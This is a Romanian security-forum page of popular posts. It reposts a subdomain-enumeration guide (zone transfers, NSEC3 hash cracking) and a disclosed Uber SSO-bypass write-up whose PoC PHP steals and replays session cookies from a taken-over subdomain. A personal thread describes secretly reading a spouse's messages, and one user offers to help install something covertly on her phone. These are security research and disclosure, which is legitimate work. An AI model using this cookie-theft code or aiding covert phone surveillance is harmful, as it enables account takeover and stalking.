Jump to content

Leaderboard

Popular Content

Showing content with the highest reputation on 11/12/17 in all areas

  1. In locul tau,n-as fi asa sigur.
    3 points
  2. @deauxefeforsaken nu stiu daca ti-ai dat seama, dar primesti sfaturi de casnicie de la unii carora le-ai putea fi tata, ca asa e romanul, expert in toate. Daca ai venit pentru sfaturi de "tech", in locul tau m-as limita la ele. Si apoi 2 lucruri, orice faci mai departe: 1. Sa nu ajungi pe mana asa-zisei "justitii" din Rromania caci e o mizerie incredibila 2. Sa poti dormi apoi noaptea, sa te suporti pe tine insuti (sa ai constiinta curata) Spor!
    2 points
  3. 2 points
  4. As a penetration tester or a bug bounty hunter, most of the times you are given a single domain or a set of domains when you start a security assessment. You’ll have to perform extensive reconnaissance to find interesting assets like servers, web applications, domains that belong to the target organisation so that you can increase your chances of finding vulnerabilities. We wrote an extensive blog post on Open Source Intelligence Gathering techniques that are typically used in the reconnaissance phase. Sub-domain enumeration is an essential part of the reconnaissance phase. This blog post covers various sub-domain enumeration techniques in a crisp and concise manner. A gitbook will be released as a follow up for this blog post on the same topic where we cover these techniques in-depth. We covered some of these techniques in the “Esoteric sub-domain enumeration techniques” talk given at Bugcrowd LevelUp conference 2017. What is sub-domain enumeration? Sub-domain enumeration is the process of finding sub-domains for one or more domain(s). It is an essential part of the reconnaissance phase. Why sub-domain enumeration? Sub-domain enumeration can reveal a lot of domains/sub-domains that are in scope of a security assessment which in turn increases the chances of finding vulnerabilities Finding applications running on hidden, forgotten sub-domains may lead to uncovering critical vulnerabilities Often times the same vulnerabilities tend to be present across different domains/applications of the same organization The famous Yahoo! Voices hack happened due to a vulnerable application deployed on a yahoo.com sub-domain Sub-domain enumeration techniques 1. Search engines like Google and Bing supports various advanced search operators to refine search queries. These operators are often referred to as “Google dorks”. We can use “site:” operator in Google search to find all the sub-domains that Google has found for a domain. Google also supports additional minus operator to exclude sub-domains that we are not interested in “site:*.wikimedia.org -www -store -jobs -uk” Using site operator in Google search to find sub-domains Bing search engine supports some advanced search operators as well. Like Google, Bing also supports a “site:” operator that you might want to check for any additional results apart from the Google search Finding sub-domains using “site:” operator in Bing 2. There are a lot of the third party services that aggregate massive DNS datasets and look through them to retrieve sub-domains for a given domain. VirusTotal runs its own passive DNS replication service, built by storing DNS resolutions performed when visiting URLs submitted by users. In order to retrieve the information of a domain you just have to put domain name in the search bar Searching for sub-domains using virustotal sub-domains found using VirusTotal DNSdumpster is another interesting tools that can find potentially large number of sub-domains for a given domain Searching for sub-domains using DNSdumpster Sublist3r is a popular tool that’ll enumerate sub-domains using various sources. Sublist3r enumerates sub-domains using many search engines such as Google, Yahoo, Bing, Baidu, and Ask. Sublist3r also enumerates sub-domains using Netcraft, Virustotal, ThreatCrowd, DNSdumpster, and ReverseDNS. sub-domain enumeration using Sublist3r 3. Certificate Transparency(CT) is a project under which a Certificate Authority(CA) has to publish every SSL/TLS certificate they issue to a public log. An SSL/TLS certificate usually contains domain names, sub-domain names and email addresses. This makes them a treasure trove of information for attackers. I wrote a series of technical blog posts on Certificate Transparency where I covered this technique in-depth, you can read the series here. The easiest way to lookup certificates issued for a domain is to use search engines that collect the CT logs and let’s anyone search through them. Few of the popular ones are listed below - https://crt.sh/ https://censys.io/ https://developers.facebook.com/tools/ct/ https://google.com/transparencyreport/https/ct/ Finding sub-domains of an organisation’s primary domain using crt.sh We wrote few scripts to simplify the process of finding sub-domains using CT log search engines. The scripts are available in our github repo — https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration Interesting sub-domain entry from CT logs for uber.com The downside of using CT for sub-domain enumeration is that the domain names found in the CT logs may not exist anymore and thus they can’t be resolved to an IP address. You can use tools like massdns in conjunction with CT logs to quickly identify resolvable domain names. # ct.py - extracts domain names from CT Logs(shipped with massdns) # massdns - will find resolvable domains & adds them to a file ./ct.py icann.org | ./bin/massdns -r resolvers.txt -t A -q -a -o -w icann_resolvable_domains.txt - Using massdns to find resolvable domain names 4. Dictionary based enumeration is another technique to find sub-domains with generic names. DNSRecon is a powerful DNS enumeration tool, one of it’s feature is to conduct dictionary based sub-domain enumeration using a pre-defined wordlist. $ python dnsrecon.py -n ns1.insecuredns.com -d insecuredns.com -D subdomains-top1mil-5000.txt -t brt Dictionary based enumeration using DNSRecon 5. Permutation scanning is another interesting technique to identify sub-domains. In this technique, we identify new sub-domains using permutations, alterations and mutations of already known domains/sub-domains. Altdns is a tool that allows for the discovery of sub-domains that conform to patterns $ python altdns.py -i icann.domains -o data_output -w icann.words -r -s results_output.txt Finding sub-domains that match certain permutations/alterations using AltDNS 6. Finding Autonomous System (AS) Numbers will help us identify netblocks belonging to an organization which in-turn may have valid domains. Resolve the IP address of a given domain using dig or host There are tools to find ASN given an IP address — https://asn.cymru.com/cgi-bin/whois.cgi There are tools to find ASN given a domain name — http://bgp.he.net/ Finding AS Number using IP address The ASN numbers found can be used to find netblocks of the domain. There are Nmap scripts to achieve that — https://nmap.org/nsedoc/scripts/targets-asn.html $ nmap --script targets-asn --script-args targets-asn.asn=17012 > netblocks.txt Finding netblocks using AS numbers — NSE script 7. Zone transfer is a type of DNS transaction where a DNS server passes a copy of full or part of it’s zone file to another DNS server. If zone transfers are not securely configured, anyone can initiate a zone transfer against a nameserver and get a copy of the zone file. By design, zone file contains a lot of information about the zone and the hosts that reside in the zone. $ dig +multi AXFR @ns1.insecuredns.com insecuredns.com Successful zone transfer using DIG tool against a nameserver for a domain 8. Due to the way non-existent domains are handled in DNSSEC, it is possible to “walk” the DNSSEC zones and enumerate all the domains in that zone. You can learn more about this technique from here. For DNSSEC zones that use NSEC records, zone walking can be performed using tools like ldns-walk $ ldns-walk @ns1.insecuredns.com insecuredns.com Zone walking DNSSEC zone with NSEC records Some DNSSEC zones use NSEC3 records which uses hashed domain names to prevent attackers from gathering the plain text domain names. An attacker can collect all the sub-domain hashes and crack the hashes offline Tools like nsec3walker, nsec3map help us automate the collecting NSEC3 hashes and cracking the hashes. Once you install nsec3walker, you can use the following commands to enumerate sub-domains of NSEC3 protected zone # Collect NSEC3 hashes of a domain $ ./collect icann.org > icann.org.collect # Undo the hashing, expose the sub-domain information. $ ./unhash < icann.org.collect > icann.org.unhash # Listing only the sub-domain part from the unhashed data $ cat icann.org.unhash | grep "icann" | awk '{print $2;}' del.icann.org. access.icann.org. charts.icann.org. communications.icann.org. fellowship.icann.org. files.icann.org. forms.icann.org. mail.icann.org. maintenance.icann.org. new.icann.org. public.icann.org. research.icann.org. 9. There are projects that gather Internet wide scan data and make it available to researchers and the security community. The datasets published by this projects are a treasure trove of sub-domain information. Although finding sub-domains in this massive datasets is like finding a needle in the haystack, it is worth the effort. Forward DNS dataset is published as part of Project Sonar. This data is created by extracting domain names from a number of sources and then sending an ANY query for each domain. The data format is a gzip-compressed JSON file. We can parse the dataset to find sub-domains for a given domain. The dataset is massive though(20+GB compressed, 300+GB uncompressed) # Command to parse & extract sub-domains for a given domain $ curl -silent https://scans.io/data/rapid7/sonar.fdns_v2/20170417-fdns.json.gz | pigz -dc | grep “.icann.org” | jq Enumerating sub-domains using FDNS dataset Sub-domain enumeration techniques — A comparison We ran few of the discussed techniques against icann.org and compared the results. The bar chart below shows the number of unique, resolvable sub-domains each technique found for icann.org. Feel free to get in touch with us to know the methods we used to gather this information. Number of unique, resolvable sub-domains each technique found for icann.org Sub-domain enumeration — Reference We created a simple reference for sub-domain enumeration techniques, tools and sources. This reference is created using a Github gist, feel free to fork, customise it— https://gist.github.com/yamakira/2a36d3ae077558ac446e4a89143c69ab Quick reference for sub-domain enumeration References https://github.com/appsecco/bugcrowd-levelup-subdomain-enumeration https://blog.appsecco.com/open-source-intelligence-gathering-101-d2861d4429e3 https://www.databreaches.net/hackers-post-450k-credentials-apparently-pilfered-from-yahoo/ http://info.menandmice.com/blog/bid/73645/Take-your-DNSSEC-with-a-grain-of-salt https://www.peerlyst.com/posts/bsideslv-2017-breaking-ground-with-underflow-bsides-las-vegas Thank you for reading this article. If you enjoyed it please let us know by clicking that little clap icon below. Sursa: https://blog.appsecco.com/a-penetration-testers-guide-to-sub-domain-enumeration-7d842d5570f6
    2 points
  5. omule te inteleg. e naspa. dar in toti anii astia i ai dat atentie? cand ai fost cu ea ultima data la un restaurant? cand i-ai zis ca e frumoasa ultima data? cand ati facut dragoste ultima data(nu sex). cand i-ai dus ultimul buchet de flori? Cand ati fost in concediu ultima data? sttiu e scuza ca nu avem bani. Si bani nu vom avea nicodata. eu cred ca nu e totul pierdut. Ea doar a cautat ceea ce nu avea acasa. Tu ai muncit ca un nebun(asa cum facem toti). Incearaca sa o recuceresti inainte de a arunca totul in aer. sunt barbat si eu.
    2 points
  6. Dar unde muncesti ma sclavule 12 ore ? la betoane ? Trebuia sa accepti aia 2 lei!
    1 point
  7. .....astazi in timp ce faceam un transport la un client se freca in timp ce vorbea cu ala.Dupa, sub pretextul ca iese in oras pt cumparaturi, si-au tras-o iar programarea si-au facut-o inainte pe facebook, messenger. @giovani, si-a luat intre timp un iphone 7. in timp ce tasta de la mansarda de pe telefon, eu ii citeam in timp real mesajele pe desktop-ul de la etajul 1.Am intrat silentios peste ea dandu-i de inteles ca vreau sa ii fac o surpriza, a scapat telefonul din mana si a inceput sa se frece la ochi,vezi Doamne ce somn ii e cand, de fapt... la restaurant am fost in septembrie ultima oara, am iubit-o cu toata fiinta de cand am venit la 19 ani aici la facultate.Copiii mei imi spun asta fara sa ii constranga nimeni.Asta a fost de fapt gafa, n-am fost in stare sa o joc, m-am dedicat si am oferit prea multa atentie.Si-a luat-o in cap...Acum 20 si ceva de ani o meditam la matematica pentru ca era corijenta, nu a scos un cuvant in toate saptamanile alea, spunea ca merge la toaleta si se intoarcea in cateva minute cu mancare gatita. Asa m-am indragostit de ea. @gaddafi- La baiatul cel mare nu mai am ce sa ii fac, are firma lui de constructii in Dublin, nu imi da un telefon, e negru de suparat pe mine pentru ca de fiecare data voia sa imi dea de inteles ca femeia asta se ocupa cu aceleasi lucruri murdare dar il certam pentru ca eu chiar credeam cu toata fiinta mea ca ea s-a linistit... @@yoyois, multumesc pt sfat, exact asa am sa procedez.Sa se duca la sora-sa, sa traiasca cu ea ca eu am scos-o din saracie si uite ce patesc... Arat la varsta mijlocie ca un combatant care a dus un razboi greu cu trupul, sa nu insel, sa fiu devotat pana la capat copiilor, sa intre la un liceu bun, sa faca o facultate...Iar celalalt sa curveasca si sa manance de viu viitorul lor.Nici pana in ziua de azi n-a vrut sa punem niste bani in contul copiilor mari, tot cu datorii la dragoane si turcaleti care o fac posta in instanbul, cu neamurile ei pe care i le-am scos din santuri si i-am tinut in apartamente fara sa-mi plateasca chirie. Am corpul mutilat de la tonele de sare distribuite, sufletul calcat in picioare, arat ca o epava .nu dorm de 32 de ore. Am totusi convingerea ca am avut un Dumnezeu in toti anii astia si nu isi va lua privirea de la mine.Va multumesc sincer tuturor pentru sfaturi, daca nu le citeam cu atentie si nu le intoarceam pe toate partile, faceam greseli azi-noapte. nu am parte de nimic. sa nu faceti greselile mele.sunt vinovat
    1 point
  8. Salut prieteni, am ajuns intr-un impas si as avea nevoie de ajutorul vostru, cei mai experimentati ca mine in acest domeniu. 

Inca din clasele mici imi doresc sa fiu programator, fiind la un profil de mate-info cu engleza intesiv. Oscilez intre Universitatea Babes-Bolyai pe Informatica sau Universitatea Politehnica din Bucuresti pe Calculatoare (accept si alte propuneri) si am urmatoarele intrebari:
 Care dintre aceste 2 facultati ma pregatesc pentru progamare intr-o companie, capabil sa invat orice limbaj de programare de care am nevoie, adica sa-mi ofere mentalitatea si bazele necesare, nu doar o diploma. Care imi ofera un plan B mai bun in caz ca piata muncii din Romania pe acest domeniu se suprasatureaza in aceste 2 cazuri:
 a. plec in strainate (am un Cambrige la mana - am facut engleza intesiv dupa cum am mentionat mai sus) si sa prestez aceiasi munca de programator. -sau- b. raman in tara si imi schimb domeniul de activitate, in caz ca ma va leaga ceva personal de Romania. 

Multumesc anticipat persoanele care-si vor face timp sa-mi raspunda si sa-mi explice exact cum sta treaba!
    1 point
  9. LOL. Propaganda americana anti Bitcoin. Ce frumos suna "secure 51% of the miners". E practic imposibil sa gasesti 50% din mineri. Si mult mai imposibil sa ii convingi sa iti doneze echipamentul. Povesti pt copii! Fac si eu un tutorial: How to destroy bitcoin: -create a huge quantum radio transmiter. -contact aliens and sell them vibranium(from south affrica) in exchange for the algorithm of prime numbers dristribution -crack all the bitcoin wallets -crack all the RSA keys in the world. -make trump and putin suck your dick.
    1 point
  10. Salut. Trăgând cu ochiul peste niște proiecte pe github, am văzut fișiere .sh, mă uitam să văd ce anume fac, majoritatea erau pentru automatizare, care făceau request-uri sau alte lucruri de genul, comenzi bash, desigur. Mă gândeam dacă am nevoie de bash scripts, devreme ce știu puțin python, de ce nu aș putea obține aceleași rezultate cu acesta (py), în loc de bash? M-am uitat să văd ce zice google, primele rezultate de la stackoverflow, majoritatea sugerau că depinde de preferințe și alții explicau diferența dintre modul în care sunt executate, poate câteva detalii despre performanță și lucruri low-level care m-au făcut confuz. Voi ce părere aveți? Când folosiți bash în loc de python/ruby și vice versa? Desigur, python/ruby sunt pentru domenii mai largi, eu vreau să îndrept subiectul spre domeniul în care este folosit bash-ul mai mult, I guess sysops stuff. P.S.: Nu sunt atât de informat cu privire la lucruri de genul, mă scuzați dacă întrebările sunt cam nepotrivite.
    1 point
  11. Pentru automatizari, in cazul la un numar mare de servere, iti recomand sa vezi Ansible. E scris in Python, insa nu necesita nimic instalat pe target servers (il instalezi doar la tine local si gata). E foarte nice tool cind vrei sa faci un mass deployment or whatever.
    1 point
  12. Daca sa privesti din partea System Operations, atunci 'bash'-ul are prioritate. Bash is like a glue between multiple tools, to get things done quickly. Sa presupunem ca ai 100 de servere si doresti sa download-ezi -> instalezi -> configurezi un tool pe ele si sa mai creezi vreun cron job pentru acel tool. Chestia data o poti face intr-o singura linie de bash (one liner). Daca lista servere e in fisier-ul 'servers.list', atunci poti rula un astfel de bash script: for server in `cat servers.list`; do ssh <username>@${server} 'wget <my_tool> && cp <my_tool> /usr/bin/<my_tool> && echo "30 * * * * root /usr/bin/<my_tool> param1 param2" >> /etc/crontab'; done Pe cind in Python, trebuie ai de raspuns la mai multe intrebari: Ce versiune de Python este instalata pe servere (2.x sau 3.x)? In cazul in care vrei sa ruleze .py scriptul pe fiecare din server; Probleme de dependente, in cazul in care vrei sa ruleze .py scriptul pe servere. Nu toate pot avea modulele necesare instalate; Daca ruleaza doar la tine pe host, atunci revii iarasi la folosirea bash-ului pe partea server, Python fiind folosit doar la cititea fisierului cu lista de servere si connectarea prin SSH la ele; Dupa parerea mea, atit Bash-ul cit si Python sunt foarte importante si trebuie stiute (pentru SysOps stuff). Ruby nu l-am inclus, pentru ca in comparatie cu Python, Ruby nu e atit de popular pe serverele Linux si nu il poti gasi instalat by default pe multe distributii. ***One liner-ul de mai sus nu l-am testat. L-am scris direct aici pe site. Interpreteaza-l mai mult ca pseudo-bash-code )))
    1 point
  13. multumesc...capu' il tin sus, sufletul e frant. ma ingrozesc ce vad aici, de la 12 de la cat am intrat si pana acum am baut 8 red bull. In tot acest interval, i-au scris peste 15 amarasteni, vai mama lor. Se pare ca s-au prins ca e o fiinta usuratica. E AHTIATA dupa atentie. Stau conectat in permanenta aici, la pc, sa vad ce ii raspunde ala la mesajul ei "imi e dor de tine iubi, ce faci?". Imi e clar ca au un istoric lung de conversatii, tocmai de asta disimuleaza si e extrem de agera, sterge imediat conversatiile.E trecut de 40 si ceva de ani si bagabontul ala...Banii pe care i-am scos din banca pentru a lua marfa pentru stand se pare ca sunt pretexte ca sa si-o traga pe drumuri. Cum vad ce raspunde asta, cum ma duc sa vad randuielile ca sa inchid firma.Am facut 4 copii cu inconstienta asta pe care i-a neglijat in toti anii astia.La bebe abia se uita, il ia cu sila doar de ochii mei. Fata se imbraca la 18 ani ca o prostituata, baiatul cel mare e plecat in strainatate sa-si castige painea pe care ma-sa i-a luat-o de la gura in toti anii astia si o reneaga, nici nu vrea sa dea ochii cu ea. accept orice sfat, tremur tot, sunt distrus pe viata si vreau sa iau decizii corecte, sa nu fac o prostie
    1 point
  14. .... am sters postul caci cind l-am scris, eram excesiv de berulit, deh ... friday afternoon fever
    1 point
  15. Unul dintre putinii oameni ok de pe forum, respectul meu! Pacat ca nu ai tangenta cu pasiunea noastra si cu forumul. Sunt dispus sa te ajut, dar iti trebuie acces direct la telefon pentru cel putin jumatate de ora sa putem instala ce trebuie si sa facem un test, doua. N-am nevoie de bani sau alte foloase materiale. Te salut!
    1 point
  16. @deauxefeforsaken Acum 8 ani te-a inselat si tu ai ramas cu ea. Acum 8 ani tu ai batut-o iar ea a ramas cu tine. Pare ca va potriviti si va meritati reciproc. Why stop now? On-topic in acest off-topic: Vrei sa afli daca iti este infidela din motive legale - ma refer la anumite clauze care ar putea exista intr-un contract prenuptial, etc. ? Sau doar ca sa stii daca ai motiv sa o iei la suturi (lucru imbecil, btw)? In cazul in care este vorba de prima varianta, as consulta un avocat inainte de orice si as lua in considerare serviciile unui detectiv particular. In cazul in care este vorba de a doua varianta, iti irosesti timpul. Per total, in cazul in care intr-adevar te inseala, varianta eleganta ar fi sa iti separi afacerile de ea si sa inchei relatia.
    1 point
  17. Baiii, nu stiu de ce (probabil ca sa pareti sfinti), dar toti barbati cand nu va mai merge relatia bagati la inaintare copiii. Am avut de-a face cu 3 cazuri exact la fel, "i-am oferit totul, copiii sunt viata mea etc", la final mi-au spus toti ca le-au calcat in picioare si au batut la ele mai rau ca la sacul de box, mama mea ca daca ii mai vad ca vin la mine ii rup in doua futule rasa in gura. Din toata debandada asta sufera doar COPIII, eu i-am vazut cum ii punea tatal sa o strige pe masa prin video-call sa vina acasa, imi venea mie sa plang la cum faceau saraci copiii=tortura psihica la varste fragede care cauzeaza mai tarziu (droguri, nesiguranta, neintegrare in societate, violenta ca doar asa vad in familie, etc). Eu va recomand sa nu-l ajutati chiar daca va ofera greutatea voastra in aur, pentru mine esti un nimic, un GUNOI fiindca ai scos copilasi la inaintare.
    1 point
  18. E de ajutor dc reusesti sa faci rost de desfasuratorul convorbirilor si mesajelor de la operatorul de telefonie mobila?
    1 point
  19. Bati campii rau de tot cu asta. Stau in aceeasi casa, respira acelasi aer, mananca impreuna, au planuri de viata impreuna. Nu crezi ca ar fi mai ok ca ea sa dea cartile pe fata daca o arde aiurea? Se vede ca esti inca necopt. Stai o viata alaturi de un om si tot nu ajungi sa-l cunosti. Crezi ca la toate dai cu programare cand nu mai merg lucrurile sau cand nu-ti convine ceva? Internetu' nu e viata. Ce vorbeste el acolo, e viata. Mai iesi si tu din casa, du-te si imbata-te, mergi la curve, lasa fitilele astea.
    1 point
  20. Authentication bypass on Uber’s Single Sign-On via subdomain takeover Posted on June 25, 2017 by Arne Swinnen TL;DR: Uber was vulnerable to subdomain takeover on saostatic.uber.com via Amazon CloudFront CDN. Moreover, Uber’s recently deployed Single Sign-On (SSO) system at auth.uber.com, which is based on shared cookies between all *.uber.com subdomains, was found vulnerable to session cookie theft by any compromised *.uber.com subdomain. Therefore, the impact of the subdomain takeover could be increased to Authentication Bypass of Uber’s full SSO system, yielding access to all *.uber.com subdomains protected by it (e.g. vault.uber.com, partners.uber.com, riders.uber.com, etc). Uber resolved the subdomain takeover vulnerability and granted a $5.000 bounty for the two combined issues. Single Sign-On security revisited Generally, SSO systems are (variations of) any of the following three types, in order of popularity: OAuth: Security is mainly based on whitelisted callback URLs of service providers configured at the identity providers, and CSRF protection via the “state” parameter. Flaws are often via open redirect chains, e.g. Authentication bypass on Airbnb via OAuth tokens theft. SAML & friends: Security is based on XML messages signed with pre-exchanged cryptographic keys between service and identity providers. Flaws are often XML Signature bypasses, e.g. OneLogin authentication bypass on WordPress sites that bit Uber before. Shared (session) cookies between subdomains: Security is based on the integrity of all subdomains. Any vulnerability on any subdomain that provides an attacker insight in the shared session cookies issued by the SSO system is fatal. Flaws are thus often RCE, debug logs exposure, subdomain takeover and friends on subdomains, e.g. Authentication bypass on Ubiquity’s Single Sign-On via subdomain takeover I personally believe that the first two in this list have had many problems in the past, but have improved lately in terms of security. The latter SSO based on shared session cookies between subdomains is more a technology from the past, before the former two even existed. By design, it enforces that anything that wants to leverage the SSO system to be a subdomain of the same TLD as where the SSO system is based. Since the security of the SSO system is based on the integrity of the subdomains (see aforementioned report and the Uber case below), this is quite an ironic situation. By design, it encourages to increase the attack surface enormously. Uber case Uber used OAuth as an SSO system for *.uber.com subdomains in the past, as can be seen from this recent public disclosure report by @ngalog: [Uber 8k Bug] Login CSRF + Open Redirect = Account Takeover. However recently, they’ve changed (reverted?) to a SSO system based on shared session cookies among subdomains of *.uber.com. If you now browse to any uber.com subdomain that requires authentication (e.g. central, partners, riders, vault, developer, …), you get redirected to auth.uber.com instead. Once you’ve logged in there and you visit another subdomain, you’re logged in there transparently via the SSO system at auth.uber.com, which issues temporary session cookies for every *.uber.com subdomain after being logged in once. A vulnerability was identified in this SSO system that allows any compromised subdomain on *.uber.com to transparently issue and steal valid session cookies issued for *any* uber.com subdomain by auth.uber.com, as long as the victim had already authenticated once to the SSO. Uber did have some countermeasures in place to prevent this, but these were bypassed and reported together with the subdomain takeover for increased impact. Any compromised *.uber.com subdomain could be used to perform the same attack, although Uber explicitly mentioned several *.uber.com subdomains as out of scope in their bug bounty program policy at the time of reporting (e.g. *.dev.uber.com, *.et.uber.com, drive.uber.com, etc). Subdomain takeover Subdomain saostatic.uber.com was pointing to Amazon Cloudfront CDN via a DNS CNAME, but the hostname was not registered there anymore (dangling pointer). This allowed me to fully takeover this domain, highly similar to Subdomain takeover on rider.uber.com due to non-existent distribution on Cloudfrontby Frans Rosén. I effectively took over the subdomain as a Proof of Concept and hosted a simple HTML file as proof here: Authentication bypass In Uber’s SSO system, auth.uber.com acts as Identity Provider and issues temporarily shared session cookies for https://*.uber.com (“domain=uber.com” cookie attribute) to communicate identities to Service Providers (e.g. riders.uber.com, partners.uber.com, central.uber.com, vault.uber.com, developer.uber.com, and many more). Service Providers on their end immediately destroy the incoming temporary shared session cookies in case of erroneous (e.g. issued for other Service Provider) or successful authentication to ensure that the window for theft is small, as can be seen in the below Uber SSO Login diagram: The precious shared session cookie “_csid” can thus only be stolen between steps 9-12, which is a very short period (automatic browser redirects). Although not impossible to exploit (see Jack Whitton’s awesome CSP trick to block certain cookies from being sent to certain domains, coincidentally also on Uber’s bug bounty program), a more convenient flaw was identified that allows the shared session cookie to remain alive after step 12 in the browser’s cookie store in the diagram above. The issue is that, if the victim is already logged in at https://riders.uber.com (situation after last step 12 in diagram) when receiving a request containing a valid newly generated shared session cookie “_csid” from auth.uber.com, it is simply ignored and remains usable. Hence it stays alive in the browser until its cookie store is cleared. An attacker simply needs to replay step 3 in the above diagram as step 13 and end with an additional hidden request to https://saostatic.uber.com to steal the precious session cookie: So once an attacker gets his/her hands on the victim’s “_csid” shared session cookie for https://riders.uber.com, he/she can execute the normal login flow in their own browser and replace the issued “_csid” cookie value in step 9 to be logged in as the victim, right? Wrong. Uber had another surpising countermeasure in place, namely a variant of login cross-site request forgery protection. This is the actual updated Uber SSO Login diagram: The problem here are the GET param state=CSRFTOKEN and locally scoped state cookie that are added in step 3 by the Service Provider riders.uber.com and verified in step 11. Since we can’t steal these values from the victim’s browser, but only the “_csid” shared session cookie, this means game over, right? Unfortunately, wrong. An attacker can obtain a proper CSRFTOKEN value and accompanying state cookie value from https://riders.uber.com by starting a normal login scenario on their end (e.g. in their own browser or via a simple script). He/she can then relay the auth.uber.com URL generated by https://riders.uber.com in their own browser in step 3 to the victim’s browser to generate & steal the “_csid” shared session cookie for these values, and inject these in his/her own browser login scenario again in step 9. In this manner, the victim effectively generates the “_csid” temporary session token for the attacker’s login scenario in a separate browser, but this works flawlessly (e.g. no IP-based checks between steps were encountered). This still allows exploitation and thus victim impersonation in the following manner (we still assume that the victim is already logged in to auth.uber.com and visits a webpage under control by the attacker, so we basically continue the flow from the above diagram): Proof of concept A PoC says more than a thousand diagrams. In the PoC steps sent to Uber & showcased in the video below, the assumption is made that https://saostatic.uber.com is actually serving a valid SSL certificate in the victim’s browser, which was not the case. However, it could’ve easily been generated with Let’s Encrypt. Open the victim’s browser & browse to https://riders.uber.com. After being redirected to https://auth.uber.com, login with the victim’s credentials so you end up on https://riders.uber.com trips dashboard again. Open a second browser tab in the victim’s browser and browse to https://saostatic.uber.com/prepareuberattack.php. Accept any certificate warnings that you may receive here – again, we’re only simulating that the domain has a valid SSL certificate. Once the page has finished loading you should see a URL, “Cookie: ” string and a “Set-Cookie: ” strings underneath each other. This is all info gathered under the hood by the attacker’s webserver that is required to login as the victim now – everything has been stolen automagically. Open the separate attacker’s browser and setup an intercepting proxy tool to intercept requests and responses. Browse to the URL displayed on the prepareuberattack.php page output and intercept this request. Now copy the “Cookie: …” string displayed on prepareuberattack.php and paste it into the request headers. The response should be a redirect to https://riders.uber.com/trips, indicating successful authentication bypass. Last but not least, copy all the “Set-Cookie: ” lines from the prepareuberattack.php page output and paste them in the response before forwarding it to the browser. This ensures that the stolen cookies are permanently injected in the attacker’s browser. You are now logged in as the victim in the attacker’s browser. In a real attack scenario, an attacker would stealthily load https://saostatic.uber.com/prepareuberattack.php in the victim’s browser, e.g. through an iframe. Likewise, he/she would probably not display the URL and all the cookies on the resulting page, but store this on the server-side, ready to be abused in a stealthy fashion. Although it’s a lengthy explanation, the PoC video showcases how quick & effective exploitation by an attacker can be. The code of the https://saostatic.uber.com/prepareuberattack.php and https://saostatic.uber.com/uberattack.php pages is provided below. This was written quick & dirty for PoC purposes, but it did the job: prepareuberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <html> <body> <script> <?php function HandleHeaderLine( $curl, $header_line ) { preg_match("/state=([^;]*);/", $header_line, $matches); if(sizeof($matches) > 0) { print("var cookiestate = '" . $matches[1] . "';\n"); } preg_match("/Location: (.*)/", $header_line, $matches); if(sizeof($matches) > 0) { print("var loc = '" . trim($matches[1]) . "';\n"); } return strlen($header_line); } $c = curl_init('https://riders.uber.com'); curl_setopt($c, CURLOPT_VERBOSE, 1); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_HEADERFUNCTION, "HandleHeaderLine"); $page = curl_exec($c); ?> var csrf = loc.substring(loc.lastIndexOf("=")+1); var img = document.createElement("IMG"); img.onerror = function () { var iframe = document.createElement("iframe"); iframe.setAttribute("src","https://saostatic.uber.com/uberattack.php?cookiestate=" + encodeURIComponent(cookiestate) + "&csrftoken=" + csrf); iframe.setAttribute("width", "100%"); iframe.setAttribute("height", "10000"); document.body.appendChild(iframe); } img.src=loc; </script> </body> </html> uberattack.php PHP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <html> <body> <?php $cookiestring = "state=" . $_GET["cookiestate"] . "; "; $interestincookies = array("_udid", "_csid", "sid"); foreach ($_COOKIE as $name => $value) { if (in_array($name,$interestincookies)) { $cookiestring = $cookiestring . $name . "=" . str_replace(' ', '+', $value) . "; "; $cookiestringset = $cookiestringset . "Set-Cookie: " . $name . "=" . str_replace(' ', '+', $value) . ";</br>"; } } print "Url: " . 'https://riders.uber.com/?state=' . urlencode($_GET["csrftoken"]) . "<br /><br />"; print "Cookie: " . $cookiestring . "<br />"; print "<br />" . $cookiestringset . "<br />"; ?> </body> </html> The first file can be hosted anywhere, the second file must be hosted on the hijacked subdomain (since it reads & reflects the incoming session cookies). By simply changing “riders.uber.com” to any other subdomain of uber.com in these two PHP files, an attacker could generate valid sessions for these subdomains on behalf of the victim, e.g. vault.uber.com, partners.uber.com, developer.uber.com, … Recommendations The recommendations provided to Uber were twofold: Resolve the subdomain takeover of saostatic.uber.com by removing the dangling CNAME to AWS CloudFront CDN. Resolve the Authentication Bypass issue by any of the following, in order of priority: Revert the SSO system back to OAuth 2, since this does not have the side-effect of actually encouraging a large attack surface like the current shared session SSO system. Or, implement an IP address check: Store a user’s external IP address when issuing a shared “_csid” session cookie on auth.uber.com (identity provider) and verify that users presenting this shared session cookie to service providers on *.uber.com have the same external IP address, to prevent relay attacks like the one described above. There is a residual risk here, namely when the attacker has the same external IP address as its victim (e.g. on the same corporate network/wireless access point/…). Or, accept the inherent risk and include all *.uber.com subdomains in your bug bounty program scope, since they have the potential to fully compromise the SSO system, including the high-value targets vault.uber.com, partners.uber.com and riders.uber.com Ultimately, Uber removed the dangling CNAME and decided to implement the IP address check to decrease the exposed risk through their current cookie based SSO system. They thus opted to accept the residual risk involved. Timeline 07/04/2017: Submitted bug report to Uber 11/04/2017: Triaged by Uber 14/04/2017: $500 minimum bounty awarded 06/06/2017: Pinged Uber about the report, since I still owned saostatic.uber.com at this point 06/06/2017: Response from Uber that this report fell through the cracks, starting mitigations now 07/06/2017: DNS CNAME record for saostatic.uber.com removed, report marked as closed 14/06/2017: Extra $4.500 bounty awarded 07/07/2017: IP address check deployed by Uber and confirmed after retest 11/07/2017: Permission granted to publish blogpost by Uber Arne Swinnen Belgian. IT Security. Bug Bounty Hunter. Sursa: https://www.arneswinnen.net/2017/06/authentication-bypass-on-ubers-sso-via-subdomain-takeover/
    1 point
  21. Salut, mai ai contul steam?
    -1 points
